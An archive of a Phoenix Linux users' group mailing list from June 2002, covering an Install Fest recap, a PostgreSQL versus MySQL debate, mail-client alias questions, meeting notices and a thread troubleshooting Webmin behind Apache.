So what were the numbers? There were 107 people who signed in. There were somewhere between 150 and 200 raffle tickets that disappeared from the end of the roll. There were 39 installs. I know of at least two installs that were not completely successful, but I know that one was a hardware issue. That boils down to over six installs per hour - and that is an impressive number.

Who do we need to thank? This could be a very long list. We should start with the Install Fest Committee. Bill, Dennis, Alan, Hans, Thurm, and Vic did a great job in covering all of the contingencies. I want to single out Thurm for providing the facilities at SCC. His head is an appropriate repository for the Red Hat fedora, because without the facilities the Install Fest would not have been as successful.

We need to thank the vendors who supported the PLUG Install Fest. You can see the list of all the supporters by clicking on the Contributors link above (it has been updated to reflect the late-commers because they deserve mentioning). I want to single out Red Hat and Lycoris. Not only did they supply merchandise for the giveaways but they also had personal representatives down in the trenches doing installs and answering questions. A tip of Thurm's new fedora to both Red Hat and Lycoris.

But I reserve the biggest THANK YOU to all the PLUG members who showed up to help doing the installs. Maybe we could have done the installs without being in the comfortable confines of the Turquoise Room. Maybe we would have had a superb turnout of customers without the tons of giveaways. But I guarantee that the whole event would have been a miserable experience if the hordes of PLUG members that did the installs and answered the questions and showed the newbies how to get more information and told them how PLUG was always ready to support them were not there. To each and every one of you, stand up and take a bow.

We did learn a few valuable lessons. We learned that we need to find a way to keep a better count of people, members, customers, and window-shoppers. We learned that we need to be prepared for a LOT of customers. We learned that we should be getting more information from the customers, especially things like where they heard about the event, what OS they are replacing or adding to, and what kinds of things they will be using the Linux computer for.

I know that there are a lot of members who were not at the Install Fest. For you, we have a couple of links to pictures taken at the Install Fest. The first one is from Thurm. See them at http://inficad.com/~thurmunit/plug/installfest. Scott Sawyer from Red Hat has a large collection of pictures that he took at the Install Fest. See them at http://www.scottsawyer.org/photo-display/index.cgi under the 2002 year archives. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 23:23:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff James) Date: Mon, 24 Jun 2002 16:23:53 -0700 Subject: Evil Monkeys Message-ID:

I think I saw one of these lurking around the Install-Fest on Saturday.
 
 
 
JJ

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From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 15:11:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Joel Dudley) Date: Tue, 25 Jun 2002 08:11:24 -0700 Subject: PostgreSQL versus MySQL (fwd) Message-ID: <7D2FB294FA311F4299D03CC8D39043707165AE@mainex5.asu.edu> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --Boundary_(ID_e3NOKOHkKZWFYpJrn6nnOg) Content-type: text/plain; charset="iso-8859-1" In my opinion the speed difference between PostgreSQL and MySQL is negligible. Tim Perdue from SourceForge did a study a while back demonstrating that the newer PostgreSQL was actually faster than MySQL in some cases. Trigger and PL support in PGSQL is very nice and I have never been let down by PostgreSQL. PostgreSQL is the foundational database for all of my Genomics research projects. I am transparently bias on the subject because I have been burned by MySQL a few times so take that into consideration. A replication daemon for PostgreSQL is also coming along nicely. Joel Dudley Faculty Research Associate Arizona State University Kumar Laboratory of Evolutionary Functional Genomics http://lsweb.la.asu.edu/skumar/ -----Original Message----- From: William Lindley [mailto:wlindley@wlindley.com] Sent: Monday, June 24, 2002 9:13 PM To: Phoenix Linux Users Group Subject: Re: PostgreSQL versus MySQL (fwd) In response to the earlier question, Scott Walters who is not on the PLUG list writes: -------- PostgreSQL supports triggers, constraints, PL, subqueries, and serveral other things. MySQL supports replication, precompiled queries (huge speed up on resident code), and is optimized for throughput in addition to speed. Both of them are very fast, and out perform almost all commercial databases, hands down. I wouldn't sweat it too much either way unless you specificly need a feature that only one or the other has. They are both excellent systems. I'd use MySQL where speed was the biggist factor. I'd use Postgres where complex reporting or building a large ("Enterprise") data warehouse was the concern. -scott ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --Boundary_(ID_e3NOKOHkKZWFYpJrn6nnOg) Content-type: text/html; charset="iso-8859-1" Content-transfer-encoding: quoted-printable RE: PostgreSQL versus MySQL (fwd)

In my opinion the speed difference between PostgreSQL = and MySQL is negligible. Tim Perdue from SourceForge did a study a = while back demonstrating that the newer PostgreSQL was actually faster = than MySQL in some cases. Trigger and PL support in PGSQL is very nice = and I have never been let down by PostgreSQL. PostgreSQL is the = foundational database for all of my Genomics research projects. I am = transparently bias on the subject because I have been burned by MySQL a = few times so take that into consideration. A replication daemon for = PostgreSQL is also coming along nicely.

Joel Dudley
Faculty Research Associate
Arizona State University
Kumar Laboratory of Evolutionary Functional = Genomics
http://lsweb.la.asu.edu/skumar/


-----Original Message-----
From: William Lindley [mailto:wlindley@wlindley.com]<= /FONT>
Sent: Monday, June 24, 2002 9:13 PM
To: Phoenix Linux Users Group
Subject: Re: PostgreSQL versus MySQL (fwd)


In response to the earlier question, Scott Walters = <phaedrus@illogics.org>
who is not on the PLUG list writes:

--------

PostgreSQL supports triggers, constraints, PL, = subqueries, and serveral
other things.

MySQL supports replication, precompiled queries (huge = speed up on resident
code), and is optimized for throughput in addition = to speed.

Both of them are very fast, and out perform almost = all commercial
databases, hands down.

I wouldn't sweat it too much either way unless you = specificly need a
feature that only one or the other has. They are = both excellent systems.

I'd use MySQL where speed was the biggist = factor.

I'd use Postgres where complex reporting or building = a large
("Enterprise") data warehouse was the = concern.

-scott

________________________________________________
See http://PLUG.phoenix.az.us/navigator-mail.shtml if = your mail doesn't post to the list quickly and you use Netscape to = write mail.

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= --Boundary_(ID_e3NOKOHkKZWFYpJrn6nnOg)-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 15:47:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Tue, 25 Jun 2002 08:47:14 -0700 Subject: mail aliases, mailinglist and netscape mail In-Reply-To: <3D175629.9040900@esaravana.com> References: <3D175629.9040900@esaravana.com> Message-ID: <20020625084714.646c6269.wokan@cox.net> I have something similar, but I use Kmail as my email client. I can associate a given sender profile with a folder, so when I respond to something from the PLUG folder, it goes out as Wokan. (Trying out Sylpheed at work right now and considering it as an alternative, too.) On Mon, 24 Jun 2002 10:26:01 -0700 "sundar @esaravana" wrote: > Hello, > > I have couple of mail aliases for my base e-mail > address(linux@esaravana.com). Eg, adrenaline@esaravana.com for my rock > climbing group. I use appropriate alias to subscribe to different groups > and receive mails. The problem comes when I post messages to the group. > The mail goes back as my base e-mail address(linux@esaravna.com), rather > than as my aliased e-mail address(adrenaline@esaravana.com) and gets > rejected. > > Is there anyway I can add mail aliases to Netscape mail client and > choose appropriately as I send mails. Or should I do anything on my mail > server. > > I am running RedHat 7.1 with Sendmail as my smtp server. > > Sundar > > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 16:47:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar) Date: Tue, 25 Jun 2002 09:47:35 -0700 Subject: mail aliases, mailinglist and netscape mail References: <3D175629.9040900@esaravana.com> <20020625084714.646c6269.wokan@cox.net> Message-ID: <3D189EA7.8010808@esaravana.com> I use Sylpheed at home. So, if you could do the association with that, please let me know. I use Windoze NT at work and tried pre compiled Sylpheed for Win32, but the application crashed badly. (I am still interested in managing multiple aliases from Netscape client. Any takers.. .) Sundar Digital Wokan wrote: >I have something similar, but I use Kmail as my email client. I can associate a given sender profile with a folder, so when I respond to something from the PLUG folder, it goes out as Wokan. (Trying out Sylpheed at work right now and considering it as an alternative, too.) > >On Mon, 24 Jun 2002 10:26:01 -0700 >"sundar @esaravana" wrote: > >>Hello, >> >>I have couple of mail aliases for my base e-mail >>address(linux@esaravana.com). Eg, adrenaline@esaravana.com for my rock >>climbing group. I use appropriate alias to subscribe to different groups >>and receive mails. The problem comes when I post messages to the group. >>The mail goes back as my base e-mail address(linux@esaravna.com), rather >>than as my aliased e-mail address(adrenaline@esaravana.com) and gets >>rejected. >> >>Is there anyway I can add mail aliases to Netscape mail client and >>choose appropriately as I send mails. Or should I do anything on my mail >>server. >> >>I am running RedHat 7.1 with Sendmail as my smtp server. >> >>Sundar >> >> >> >> >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 16:52:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Eric Thelin) Date: Tue, 25 Jun 2002 09:52:56 -0700 (MST) Subject: AzPHP Meeting tonight (6/25) Message-ID: Due to a combination of factors including absence of any volunteers there won't be a presentation at tonight's meeting. Everyone seemed to have a good time a few months ago when we went to Fudd Ruckers so I have decided to have a similar meeting tonight. So here is the plan. We will meet at 7:00 at Bennigans and just discuss random topics of interest. (Or in other words just get together and hang out.) Bennigans is at the corner of Southern and Alma School. Any complaints? Eric From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 17:40:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Tue, 25 Jun 2002 10:40:10 -0700 Subject: Meeting TONIGHT Message-ID: <0206251040100D.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 When: 7:00 p.m. Where: Glendale Community College High Tech 1 Teleconference Room Topic: A Post Mortem on the Install Fest Be There! I hope Steve has access to the Internet and a connection to a projector. Sure will make the presentation a LOT better ::grin:: - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRiq+ysk3ywszI1FEQJVmACg9yUMcJyMCbRN49xg0ff4gnZPJ7UAoIgl t8DIq/FtYP6lzCCFxwXhwPUP =ntXD -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 17:18:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (Chris Cowan) Date: Tue, 25 Jun 2002 10:18:52 -0700 Subject: PostgreSQL versus MySQL (fwd) In-Reply-To: <7D2FB294FA311F4299D03CC8D39043707165AE@mainex5.asu.edu> References: <7D2FB294FA311F4299D03CC8D39043707165AE@mainex5.asu.edu> Message-ID: <20020625171853.0374E50C005@hydra.ctprm.com> For the record, I agree with Joel. Chris Cowan Chief Hybrid UberMonkey Centralized Institute for Applied Neuroinformatics On Tuesday 25 June 2002 08:11 am, you wrote: > In my opinion the speed difference between PostgreSQL and MySQL is > negligible. Tim Perdue from SourceForge did a study a while back > demonstrating that the newer PostgreSQL was actually faster than MySQL in > some cases. Trigger and PL support in PGSQL is very nice and I have never > been let down by PostgreSQL. PostgreSQL is the foundational database for > all of my Genomics research projects. I am transparently bias on the > subject because I have been burned by MySQL a few times so take that into > consideration. A replication daemon for PostgreSQL is also coming along > nicely. > > Joel Dudley > Faculty Research Associate > Arizona State University > Kumar Laboratory of Evolutionary Functional Genomics > http://lsweb.la.asu.edu/skumar/ > > > -----Original Message----- > From: William Lindley [mailto:wlindley@wlindley.com] > Sent: Monday, June 24, 2002 9:13 PM > To: Phoenix Linux Users Group > Subject: Re: PostgreSQL versus MySQL (fwd) > > > In response to the earlier question, Scott Walters > who is not on the PLUG list writes: > > -------- > > PostgreSQL supports triggers, constraints, PL, subqueries, and serveral > other things. > > MySQL supports replication, precompiled queries (huge speed up on resident > code), and is optimized for throughput in addition to speed. > > Both of them are very fast, and out perform almost all commercial > databases, hands down. > > I wouldn't sweat it too much either way unless you specificly need a > feature that only one or the other has. They are both excellent systems. > > I'd use MySQL where speed was the biggist factor. > > I'd use Postgres where complex reporting or building a large > ("Enterprise") data warehouse was the concern. > > -scott > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 17:40:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 10:40:10 -0700 Subject: [PLUG-announce]Meeting TONIGHT Message-ID: <0206251040100D.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 When: 7:00 p.m. Where: Glendale Community College High Tech 1 Teleconference Room Topic: A Post Mortem on the Install Fest Be There! I hope Steve has access to the Internet and a connection to a projector. Sure will make the presentation a LOT better ::grin:: - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRiq+ysk3ywszI1FEQJVmACg9yUMcJyMCbRN49xg0ff4gnZPJ7UAoIgl t8DIq/FtYP6lzCCFxwXhwPUP =ntXD -----END PGP SIGNATURE----- _______________________________________________ PLUG-announce mailing list - PLUG-announce@lists.PLUG.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-announce PLUG Website at http://plug.phoenix.az.us From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 18:03:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Tue, 25 Jun 2002 11:03:42 -0700 Subject: please, help her In-Reply-To: <3D181088.FF6BA22@telocity.com> References: <3D181088.FF6BA22@telocity.com> Message-ID: <0206251103420H.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I will email her and see what we can do to help and encourage her to attend a meeting or two to get better acquainted with us. If we are lucky, she will be close to someone who will mentor her personally. On Monday 24 June 2002 23:41, you wrote: > Hi > > I've found your e-mail address on this page http://plug.phoenix.az.us/ > > I've have a friend in Phoenix who is fed up with stability of the WINDOWS > and constant fight with the VIRUSES. ( she lost alle-mails, family photos > etc etc ) > > I've suggested her to try LINUX...but, unfortunately, she does not know > to install it by her self... > > Personally, I think, installing mandrake should not be a problem > but this is another story... > > so, can you help her out ? or perhaps some of your friends ? > > running REALPLAYER is a MUST (+ mozilla 1.0) > Her PC should be DUAL BOOT... preferably MANDRAKE + WINDOWS ME ( which is > on her box right now) > > her address: MaryPat McDonald > mpmcd@qwest.net or usamacka@hotmail.com > > > Regards > > Igor > > P.S.: I can not help her, because I live in San Jose, California (Silicon > Valley) > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRiwfisk3ywszI1FEQJDcwCeNcIpqKeQHMcAUf/h9IFaBnNKZFAAoIUZ L5sKYeR9i1itCg/pRGPSAdL/ =BvMb -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 18:34:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Tue, 25 Jun 2002 11:34:00 -0700 Subject: PostgreSQL Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B516@mail.int.fh.org> My company is switching vendors for our main donor tracking program. The new one is currently on a Unix/unify platform but is switching sometime early next year to a Linux/PostgreSQL platform. We are looking for any formal PostgreSQL training. Since we are switching from a Visual FoxPro/SQL Server platform, we are fairly proficient in SQL but we have never used PostgreSQL. Any one have any training suggestions? Tom Achtenberg Developer, Information Technologies Food for the Hungry / US (480) 609-7750 (voice) (480) 443-1420 (fax) TomA@fh.org From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 18:53:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Tue, 25 Jun 2002 13:53:49 -0500 (CDT) Subject: PostgreSQL In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B516@mail.int.fh.org> Message-ID: Postgres is a class that was on my list for wanting to teach.... -Derek On Tue, 25 Jun 2002, Tom Achtenberg wrote: > My company is switching vendors for our main donor tracking program. The new one is currently on a Unix/unify platform but is switching sometime early next year to a Linux/PostgreSQL platform. We are looking for any formal PostgreSQL training. Since we are switching from a Visual FoxPro/SQL Server platform, we are fairly proficient in SQL but we have never used PostgreSQL. Any one have any training suggestions? > > Tom Achtenberg > Developer, Information Technologies > Food for the Hungry / US > (480) 609-7750 (voice) > (480) 443-1420 (fax) > TomA@fh.org > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 20:05:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 16:05:09 -0400 Subject: Webmin via Apache Message-ID: OK, I am setting up a new box as a server and I want to remote administer it with Webmin (www.webmin.com). I downloaded it, installed it on the box and I can run it locally using the URL http://localhost:10000/. Cool. I am trying to follow the directions at http://www.webmin.com/webmin/apache.html to make it run under a subdirectory with Apache as the server but it is not working. I get 404 errors when trying to load the URL http://0.0.0.0/webmin. I am lost as to what step I am doing wrong. What are the tricks to this setup? Alan From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 20:27:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kyle OMalley) Date: Tue, 25 Jun 2002 13:27:07 -0700 Subject: Hello I'm new (kinda) Message-ID: <20020625202707.GB31500@aries.evilmascot.com> Well its about time I properly introduce myself to the group. My name is Kyle O'Malley and I'm a unixoholic. Much like the rest of the group I can say I love linux. I work for an ISP based in Mesa, Centerlynx, my official job title is Systems Admin. but I'm basicly working a a two man team so I end up doing a little of everything and alot of mainly linux administration. We have about 20 machines running linux. The reason I say I'm kinda new is because I've been subscribed to this list for probably, well a year maybe by now. You could say I've been a lurker. I've actually been to two plug meetings so far but I'm to shy to actually stick around or introduce myself. I'm hoping to get more involved in this whole group, mind you I'm surely no guru (yet :)) but I'm pretty damn happy with this whole os and I'd like to help whenever I can. Anyways, I'd like to extend my thanks to everyone in and running this group; You guys really do a stellar job. -Kyle Linux: It's a good thing. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 20:36:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Tue, 25 Jun 2002 13:36:17 -0700 Subject: ride to west side meeting Message-ID: <20020625203619.NQZN25007.fed1mtao01.cox.net@there> well, I need a ride to the west side meeting. I am located at 83rd and osborn. anyone in the area going? call me: 623-849-9515 Technomage -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 20:45:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: Tue, 25 Jun 2002 13:45:00 -0700 Subject: Webmin via Apache Message-ID: <200206252045.QAA05549@hostinworld6.com> I think the 0.0.0.0 is to be replaced by your IP address. If it's trying to link there, then something's configured wrong. Alandd@mindspring.com wrote : > OK, I am setting up a new box as a server and I want to remote administer it > with Webmin (www.webmin.com). > > I downloaded it, installed it on the box and I can run it locally using the > URL http://localhost:10000/. Cool. > > I am trying to follow the directions at > http://www.webmin.com/webmin/apache.html to make it run > under a subdirectory > with Apache as the server but it is not working. I get 404 errors when > trying > to load the URL http://0.0.0.0/webmin. I am lost as to what step I am > doing > wrong. > > What are the tricks to this setup? > > Alan > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss Bryce C. Network Administrator CoBryce Communications Bryce@BryceCo.Net http://www.BryceCo.Net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 21:02:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 17:02:09 -0400 Subject: Webmin via Apache Message-ID: I am sorry for the confusion. All the zeros in the address are just place holders. The correct address is 192.168.200.6. ie. I go to my remote browser and enter the address "http://192.168.200.6" and I get the default Apache web page, so I know Apache is working. I enter the address "http://192.168.200.6/webmin" and I get the 404 error. My question is why do I get the error? Alan On Tue, 25 Jun 2002 13:45:00 -0700 Bryce C wrote: I think the 0.0.0.0 is to be replaced by your IP address. If it's trying to link there, then something's configured wrong. Alandd@mindspring.com wrote : > OK, I am setting up a new box as a server and I want to remote administer it > with Webmin (www.webmin.com). > > I downloaded it, installed it on the box and I can run it locally using the > URL http://localhost:10000/. Cool. > > I am trying to follow the directions at > http://www.webmin.com/webmin/apache.html to make it run > under a subdirectory > with Apache as the server but it is not working. I get 404 errors when > trying > to load the URL http://0.0.0.0/webmin. I am lost as to what step I am > doing > wrong. > > What are the tricks to this setup? > > Alan > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss Bryce C. Network Administrator CoBryce Communications Bryce@BryceCo.Net http://www.BryceCo.Net ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 21:12:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 17:12:17 -0400 Subject: Meeting TONIGHT Message-ID: Jim will be bringing a box of swag for the west siders to enjoy. We have not forgotten you. Alan On Tue, 25 Jun 2002 10:40:10 -0700 Jim wrote: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 When: 7:00 p.m. Where: Glendale Community College High Tech 1 Teleconference Room Topic: A Post Mortem on the Install Fest Be There! I hope Steve has access to the Internet and a connection to a projector. Sure will make the presentation a LOT better ::grin:: - -- Jim From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 21:24:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Tue, 25 Jun 2002 16:24:32 -0500 Subject: Webmin via Apache In-Reply-To: ; from alandd@mindspring.com on Tue, Jun 25, 2002 at 05:02:09PM -0400 References: Message-ID: <20020625162432.E8770@lilly.csoft.net> It has been years since I tried webmin, however, I believe you need to see what port number webmin is running on (i.e 10000). Try something like http://192.168.200.6:10000 v/r Mike On Tue, Jun 25, 2002 at 05:02:09PM -0400, alandd@mindspring.com wrote: I am sorry for the confusion. All the zeros in the address are just place holders. The correct address is 192.168.200.6. ie. I go to my remote browser and enter the address "http://192.168.200.6" and I get the default Apache web page, so I know Apache is working. I enter the address "http://192.168.200.6/webmin" and I get the 404 error. My question is why do I get the error? Alan On Tue, 25 Jun 2002 13:45:00 -0700 Bryce C wrote: I think the 0.0.0.0 is to be replaced by your IP address. If it's trying to link there, then something's configured wrong. Alandd@mindspring.com wrote : > OK, I am setting up a new box as a server and I want to remote administer it > with Webmin (www.webmin.com). > > I downloaded it, installed it on the box and I can run it locally using the > URL http://localhost:10000/. Cool. > > I am trying to follow the directions at > http://www.webmin.com/webmin/apache.html to make it run > under a subdirectory > with Apache as the server but it is not working. I get 404 errors when > trying > to load the URL http://0.0.0.0/webmin. I am lost as to what step I am > doing > wrong. > > What are the tricks to this setup? > > Alan > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss Bryce C. Network Administrator CoBryce Communications Bryce@BryceCo.Net http://www.BryceCo.Net ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 21:26:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Patrick Hustis) Date: Tue, 25 Jun 2002 14:26:25 -0700 Subject: Webmin via Apache In-Reply-To: Message-ID: <5.1.0.14.0.20020625142317.025570a0@teltrax.com> When I originally set up Apache on my system at home (this was about 6 months ago), I noticed that whenever I entered a URL containing a directory, it wouldn't find anything unless I included the final slash "/". If I was accessing a page, then it was fine, but if I just wanted the index.html file to load automagically, then I had to make sure it was there. This may be a silly question, but have you tried using "http://192.168.200.6/webmin/" I know theres a mod that can be compiled in to take care of this, but since it was for a particular project that didn't require it, I never investigated further. At 05:02 PM 06/25/2002 -0400, you wrote: >I am sorry for the confusion. All the zeros in the address are just place >holders. The correct address is 192.168.200.6. > >ie. I go to my remote browser and enter the address "http://192.168.200.6" >and I get the default Apache web page, so I know Apache is working. I enter >the address "http://192.168.200.6/webmin" and I get the 404 error. My >question is why do I get the error? > >Alan > >On Tue, 25 Jun 2002 13:45:00 -0700 Bryce C wrote: > >I think the 0.0.0.0 is to be replaced by your IP address. If it's trying to >link there, then something's configured wrong. > > >Alandd@mindspring.com wrote : > > > OK, I am setting up a new box as a server and I want to remote > administer it > > > with Webmin (www.webmin.com). > > > > I downloaded it, installed it on the box and I can run it locally using the > > URL http://localhost:10000/. Cool. > > > > I am trying to follow the directions at > > http://www.webmin.com/webmin/apache.html to make it run > > under a subdirectory > > with Apache as the server but it is not working. I get 404 errors when > > trying > > to load the URL http://0.0.0.0/webmin. I am lost as to what step I am > > doing > > wrong. > > > > What are the tricks to this setup? > > > > Alan > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >Bryce C. >Network Administrator >CoBryce Communications >Bryce@BryceCo.Net >http://www.BryceCo.Net > > > > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post >to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 21:41:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 17:41:06 -0400 Subject: Webmin via Apache Message-ID: These do not work either. I must have messed up one of the configuration steps... I think I will remove it and try again since I have now been mucking around and may have made it worse. Still works on the localhost:10000 port though. Alan It has been years since I tried webmin, however, I believe you need to see what port number webmin is running on (i.e 10000). Try something likehttp://192.168.200.6:10000 On Tue, 25 Jun 2002 14:26:25 -0700 Patrick Hustis wrote: When I originally set up Apache on my system at home (this was about 6 months ago), I noticed that whenever I entered a URL containing a directory, it wouldn't find anything unless I included the final slash "/". If I was accessing a page, then it was fine, but if I just wanted the index.html file to load automagically, then I had to make sure it was there. This may be a silly question, but have you tried using "http://192.168.200.6/webmin/" I know theres a mod that can be compiled in to take care of this, but since it was for a particular project that didn't require it, I never investigated further. At 05:02 PM 06/25/2002 -0400, you wrote: >I am sorry for the confusion. All the zeros in the address are just place >holders. The correct address is 192.168.200.6. > >ie. I go to my remote browser and enter the address "http://192.168.200.6" >and I get the default Apache web page, so I know Apache is working. I enter >the address "http://192.168.200.6/webmin" and I get the 404 error. My >question is why do I get the error? > >Alan > >On Tue, 25 Jun 2002 13:45:00 -0700 Bryce C wrote: > >I think the 0.0.0.0 is to be replaced by your IP address. If it's trying to >link there, then something's configured wrong. > > >Alandd@mindspring.com wrote : > > > OK, I am setting up a new box as a server and I want to remote > administer it > > > with Webmin (www.webmin.com). > > > > I downloaded it, installed it on the box and I can run it locally using the > > URL http://localhost:10000/. Cool. > > > > I am trying to follow the directions at > > http://www.webmin.com/webmin/apache.html to make it run > > under a subdirectory > > with Apache as the server but it is not working. I get 404 errors when > > trying > > to load the URL http://0.0.0.0/webmin. I am lost as to what step I am > > doing > > wrong. > > > > What are the tricks to this setup? > > > > Alan > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly 